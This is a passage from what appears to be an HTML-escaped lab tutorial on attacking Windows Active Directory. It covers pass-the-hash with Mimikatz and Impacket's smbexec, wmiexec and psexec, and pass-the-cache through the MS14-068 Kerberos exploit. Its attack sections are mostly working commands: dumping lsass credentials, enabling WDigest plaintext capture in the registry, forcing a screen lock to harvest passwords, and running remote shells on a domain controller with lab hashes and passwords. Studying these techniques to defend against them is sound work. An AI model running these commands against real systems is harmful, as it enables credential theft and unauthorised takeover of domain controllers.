Windows systems (MD4)&lt;/li&gt;&#10;&lt;li&gt;The same password produces the same hash on different machines&lt;/li&gt;&#10;&lt;li&gt;PTH can authenticate without the plaintext password&lt;/li&gt;&#10;&lt;li&gt;A dump of lsass contains credential information for every logged-in user&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;In particular:&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;The hash of the administrator who is currently logged in&lt;/li&gt;&#10;&lt;li&gt;Hashes of other logged-in users&lt;/li&gt;&#10;&lt;li&gt;Hashes of system service accounts&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;But keep in mind:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;You can only obtain hashes for users who have logged in&lt;/li&gt;&#10;&lt;li&gt;Information for users who have never logged in will not be present in lsass&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;In practice, cracking md4 can also recover the plaintext password.&lt;/p&gt;&#10;&lt;h3 id="5-lab-pth-pass-the-hash"&gt;&lt;a href="#5-lab-pth-pass-the-hash" class="header-anchor"&gt;&lt;/a&gt;5. Lab: PTH (pass-the-hash)&#10;&lt;/h3&gt;&lt;h4 id="-introduction"&gt;&lt;a href="#-introduction" class="header-anchor"&gt;&lt;/a&gt;① Introduction&#10;&lt;/h4&gt;&lt;p&gt;Pass-the-hash is a hacker technique in which an attacker uses the hash of a user&amp;rsquo;s password to authenticate to a remote server and expand their foothold. It is essentially a form of &lt;code&gt;credential stuffing&lt;/code&gt;. Once we have an NTLM hash, we can very easily launch a PTH attempt with Mimikatz&amp;rsquo;s &lt;code&gt;sekurlsa::pth&lt;/code&gt;.&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Limitation: the hash must remain static (the password must not be changed)&lt;/li&gt;&#10;&lt;li&gt;Applicable to: domains/workgroups where a hash can be obtained but not cracked, and where machines on the internal network share the same password.&lt;/li&gt;&#10;&lt;li&gt;KB2871997: fixed PTH for standard users, but not administrators. On systems &amp;gt;= win server 2012, plaintext passwords cannot be captured from the lsass process.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;Because KB2871997 fixed PTH for standard users, privilege::debug is needed to elevate privileges (from a high-privilege terminal).&lt;/p&gt;&#10;&lt;h4 id="-prerequisites"&gt;&lt;a href="#-prerequisites" class="header-anchor"&gt;&lt;/a&gt;② Prerequisites&#10;&lt;/h4&gt;&lt;p&gt;To use Mimikatz&amp;rsquo;s sekurlsa::pth module, you need to know at least the following:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;PTH target: use commands such as &lt;code&gt;net user /domain&lt;/code&gt; to view domain-user information&lt;/li&gt;&#10;&lt;li&gt;Domain name: use commands such as &lt;code&gt;net view /domain&lt;/code&gt; to view the domain name&lt;/li&gt;&#10;&lt;li&gt;NTLM hash: obtain it with procdump and Mimikatz&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Additional notes:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1. reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f # Enable password capture&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2. rundll32 user32.dll,LockWorkStation # Force the lock screen so the user logs in again and the password can be captured from lsass.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h4 id="-when-it-applies"&gt;&lt;a href="#-when-it-applies" class="header-anchor"&gt;&lt;/a&gt;③ When It Applies&#10;&lt;/h4&gt;&lt;p&gt;This applies when you do not need the user&amp;rsquo;s password, only have the domain controller&amp;rsquo;s NTLM Hash, and cannot crack it.&lt;/p&gt;&#10;&lt;h4 id="-information-gathering"&gt;&lt;a href="#-information-gathering" class="header-anchor"&gt;&lt;/a&gt;④ Information Gathering&#10;&lt;/h4&gt;&lt;p&gt;Find the PTH target =&amp;gt; Administrator&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0012.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;View members of the administrators group =&amp;gt; choose Administrator as the target&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0013.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Domain name =&amp;gt; MAO&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0014.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Obtain the administrator&amp;rsquo;s ntml hash =&amp;gt; 570a9a65db8fba761c1008a51d4c95ab&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Mimikatz.exe can handle all of this:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sekurlsa::minidump ./passwd.dmp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sekurlsa::logonpasswords full&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0015.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h4 id="-launch-the-attack"&gt;&lt;a href="#-launch-the-attack" class="header-anchor"&gt;&lt;/a&gt;⑤ Launch the Attack&#10;&lt;/h4&gt;&lt;h5 id="method-1-direct-pth-with-mimikatz"&gt;&lt;a href="#method-1-direct-pth-with-mimikatz" class="header-anchor"&gt;&lt;/a&gt;Method 1: Direct PTH with Mimikatz&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sekurlsa::pth /user:&amp;lt;USERNAME&amp;gt; /domain:&amp;lt;DOMAIN_NAME&amp;gt; /ntlm:&amp;lt;ntlm hash&amp;gt; [/run:name]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;privilege::debug&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sekurlsa::pth /user:Administrator /domain:MAO /ntlm:570a9a65db8fba761c1008a51d4c95ab /run:cmd&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This gives us control of the domain controller. (If all parameters are correct but the attack still fails, try closing the Mimikatz window, start cmd.exe again as administrator, elevate privileges again, and rerun the attack. The command after run is optional; by default, it opens cmd.exe on the domain controller.)&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0016.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h5 id="method-2-use-credential-passing-scripts-to-obtain-a-shell"&gt;&lt;a href="#method-2-use-credential-passing-scripts-to-obtain-a-shell" class="header-anchor"&gt;&lt;/a&gt;Method 2: Use Credential-Passing Scripts to Obtain a Shell&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;①smbexec.py&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python /opt/impacket/build/scripts-3.12/smbexec.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e TEST/Administrator@192.168.0.110&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbexec.py administrator:&amp;#39;password&amp;#39;@&amp;lt;target-ip&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;②wmiexec.py&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python /opt/impacket/build/scripts-3.12/wmiexec.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e TEST/Administrator@192.168.0.110&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wmiexec.py administrator:&amp;#39;password&amp;#39;@&amp;lt;target-ip&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/opt/impacket/build/scripts-3.12/psexec.py administrator:&amp;#39;password&amp;#39;@10.10.10.97&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PsExec.exe \\WindowsServerAD.test.local -u test\administrator -hashes :2b2ddd54e1f78fab85e7c662f672f30e cmd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PsExec.exe -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 FOREST/administrator@10.10.10.161&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;psexec.exe &amp;#34;administrator&amp;#34;@10.10.10.161 -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0017.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1. Can passing a standard user&amp;#39;s hash still provide a shell?&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2. Does the standard user&amp;#39;s hash belong to a domain account or a standard account on the domain controller?&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3. If a standard account on the domain controller supports PTH, does creating it there automatically make it a domain account?&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1. Passing a standard user&amp;#39;s hash:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;A shell is possible, but permissions are limited&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Only authorized resources are accessible&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Administrative operations are unavailable&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2. Source of a standard user&amp;#39;s hash:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;It is the hash of a domain user account&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;It is not a local account hash&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The credential is used for domain authentication&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3. Domain accounts and local accounts:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;A user created on the domain controller automatically becomes a domain user&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Domain users can authenticate within the domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Local accounts can only be used on their host&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Key point: PTH passes a domain account hash, whether the account is an administrator or a standard user.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;A shell on the domain controller requires its administrator hash&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="6-kerberos-authentication-protocol"&gt;&lt;a href="#6-kerberos-authentication-protocol" class="header-anchor"&gt;&lt;/a&gt;6. Kerberos Authentication Protocol&#10;&lt;/h3&gt;&lt;p&gt;Kerberos is a third-party authentication protocol that uses symmetric encryption to provide strong authentication for client/server applications. In Greek mythology, Kerberos is the three-headed hound guarding the gates of Hades. Its three heads represent the three roles in the protocol, as shown below:&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;The Client accessing the service (the party sending the request)&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;The Server providing the service (the party receiving the request)&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;The KDC, or Key Distribution Center, which contains the following two services:&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;AS, the authentication service (Authentication Server) [dedicated to authenticating the client and issuing the TGT the client uses to access the TGS]&lt;/li&gt;&#10;&lt;li&gt;TGS, the ticket authorization service (Ticket Granting Server) [issues the tickets needed throughout authentication and the service ticket the client needs to access the server]&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0018.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;DC (Domain Controller): domain controller&lt;/li&gt;&#10;&lt;li&gt;KDC (Key Distribution Center): key distribution center&lt;/li&gt;&#10;&lt;li&gt;AS (Authentication Server): authentication server&lt;/li&gt;&#10;&lt;li&gt;TGS (Ticket Granting Server): ticket-granting server&lt;/li&gt;&#10;&lt;li&gt;TGT (Ticket Granting Ticket): ticket-granting ticket&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;strong&gt;Authentication Overview&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;First, the client sends a request to the AS and obtains a TGT.&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;The client uses the TGT obtained from the AS to send a request to the TGS. After successfully decrypting the TGT, the TGS generates a new ticket and returns it to the client.&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;The client uses the new ticket returned by the TGS to send a request to the server for authorization.&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;h3 id="7-lab-ptc-pass-the-cache"&gt;&lt;a href="#7-lab-ptc-pass-the-cache" class="header-anchor"&gt;&lt;/a&gt;7. Lab: PTC (pass-the-cache)&#10;&lt;/h3&gt;&lt;p&gt;If we can obtain a user&amp;rsquo;s TGT and import it into memory, we can impersonate that user and gain their access privileges.&lt;/p&gt;&#10;&lt;h4 id="-ms14-068-vulnerability"&gt;&lt;a href="#-ms14-068-vulnerability" class="header-anchor"&gt;&lt;/a&gt;① MS14-068 Vulnerability&#10;&lt;/h4&gt;&lt;p&gt;MS14-068 is a Windows vulnerability in the Key Distribution Center (KDC) service. It allows an authenticated user to insert an arbitrary PAC (the structure representing all user privileges) into a Kerberos ticket (TGT). The vulnerability is located in kdcsvc.dll in the domain controller&amp;rsquo;s Key Distribution Center. A user can obtain a ticket by presenting a kerberos TGT with a modified PAC.&lt;/p&gt;&#10;&lt;p&gt;High privileges are required.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Windows Server 2003, Windows Server 2008, Windows Server 2008 R2, Windows Server 2012, and Windows Server 2012 R2&lt;/li&gt;&#10;&lt;li&gt;Windows Vista, Windows 7, Windows 8, and Windows 8.1&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;strong&gt;Patch Number and Exploitation Requirements&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;Patch number: KB3011780&lt;/p&gt;&#10;&lt;p&gt;Exploitation requirements:&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;Obtain access to a host (a domain-joined host)&lt;/li&gt;&#10;&lt;li&gt;Collect the account name, password, SID, and domain information for any user in the computer domain&lt;/li&gt;&#10;&lt;li&gt;The MS14-068 patch is not installed&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;#There is a problem with this tutorial. If you have an administrator account and password, you can probably use PTH. The defining feature of MS14-068 is that a standard domain account can escalate to domain administrator, which is why the vulnerability is so severe. Any standard domain user is enough here.&lt;/p&gt;&#10;&lt;h4 id="-information-gathering-1"&gt;&lt;a href="#-information-gathering-1" class="header-anchor"&gt;&lt;/a&gt;② Information Gathering&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1. Domain administrator SID&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;whoami /all =&amp;gt; S-1-5-21-863777703-696496247-1862912240-500&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2. Domain administrator plaintext password&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sekurlsa::minidump ./passwd.dmp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sekurlsa::logonpasswords full =&amp;gt; Admin@123&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3. Domain information, including the full domain name&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ipconfig /all&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0019.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0020.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Windows is case-insensitive, so both mao.com and MAO.COM work.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0021.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0022.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h4 id="-exploitation"&gt;&lt;a href="#-exploitation" class="header-anchor"&gt;&lt;/a&gt;③ Exploitation&#10;&lt;/h4&gt;&lt;h5 id="1-generate-a-domain-administrator-key"&gt;&lt;a href="#1-generate-a-domain-administrator-key" class="header-anchor"&gt;&lt;/a&gt;1. Generate a Domain Administrator Key&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Use an existing script to obtain a ticket:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ms14-068.exe -u &amp;lt;USERNAME@DOMAIN_NAME&amp;gt; -s &amp;lt;SID&amp;gt; -d &amp;lt;IP_ADDRESS&amp;gt; -p &amp;lt;USER_PASSWORD&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;MS14-068.exe -u Administrator@MAO.COM -s S-1-5-21-863777703-696496247-1862912240-500 -d 192.168.126.10 -p Admin@123&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0023.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h5 id="2-import-the-generated-ticket-into-memory"&gt;&lt;a href="#2-import-the-generated-ticket-into-memory" class="header-anchor"&gt;&lt;/a&gt;2. Import the Generated Ticket into Memory&#10;&lt;/h5&gt;&lt;p&gt;Then use Mimikatz&amp;rsquo;s &lt;code&gt;kerberos::ptc&lt;/code&gt; module to load the ticket.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;privilege::debug&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kerberos::ptc TGT_Administrator@MAO.COM.ccache&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0024.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h5 